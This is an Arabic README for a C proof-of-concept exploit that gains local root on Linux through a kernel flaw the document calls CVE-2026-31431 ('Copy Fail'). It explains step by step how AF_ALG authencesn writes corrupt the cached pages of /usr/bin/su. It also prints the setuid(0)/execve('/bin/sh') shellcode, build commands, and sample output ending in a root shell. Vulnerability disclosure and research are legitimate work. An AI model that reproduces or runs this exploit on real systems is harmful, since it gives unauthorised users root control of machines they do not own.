Copy Fail - CVE-2026-31431 PoC بلغة C

استغلال تصعيد صلاحيات محلي لثغرة CVE-2026-31431 (Copy Fail)، مكتوب بلغة C.

كيف يعمل

1. تحليل ELF: يحل عنوان نقطة الدخول الافتراضية لـ /usr/bin/su إلى إزاحة ملف عبر رؤوس البرامج PT_LOAD
2. إعداد AF_ALG: يرتبط بـ authencesn(hmac(sha256),cbc(aes)) بمفتاح صفري
3. كتابات 4 بايت في ذاكرة التخزين المؤقت للصفحات: لكل جزء من حمولة الشيلكود:
   • sendmsg() يرسل AAD مع بايتات الشيلكود كـ seqno_lo (البايتات 4-7)، مع MSG_MORE
   • splice() يسلّم 32 بايت من صفحات ذاكرة التخزين المؤقت للملف المستهدف كوسم مصادقة AEAD
   • recv() يطلق عملية فك التشفير، وكتابة الخدش الخاصة بـ authencesn تهبط في صفحات ذاكرة التخزين المؤقت المتسلسلة، كاتبةً 4 بايتات مُتحكَّم بها.
4. تصعيد الصلاحيات: execl("/usr/bin/su") يحمّل ذاكرة التخزين المؤقت للصفحات التالفة. الشيلكود المكوّن من 40 بايت (setuid(0) + execve("/bin/sh")) يعمل بصلاحيات setuid-root

الشيلكود

xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; null terminator
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

البناء

يتطلب musl-gcc أو أي مترجم C مع دعم الربط الثابت:

musl-gcc -static -O2 -s -o copyfail exploit.c

بدلاً من ذلك مع GCC + glibc:

gcc -static -O2 -s -o copyfail exploit.c

الاستخدام

$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

المراجع

• Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
• Fix commit a664bf3d
• Introduced by commit 72548b093ee3 (2017)

إخلاء مسؤولية

يُقدَّم هذا الإثبات المفاهيمي لأغراض البحث الأمني المصرح به والتعليم فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.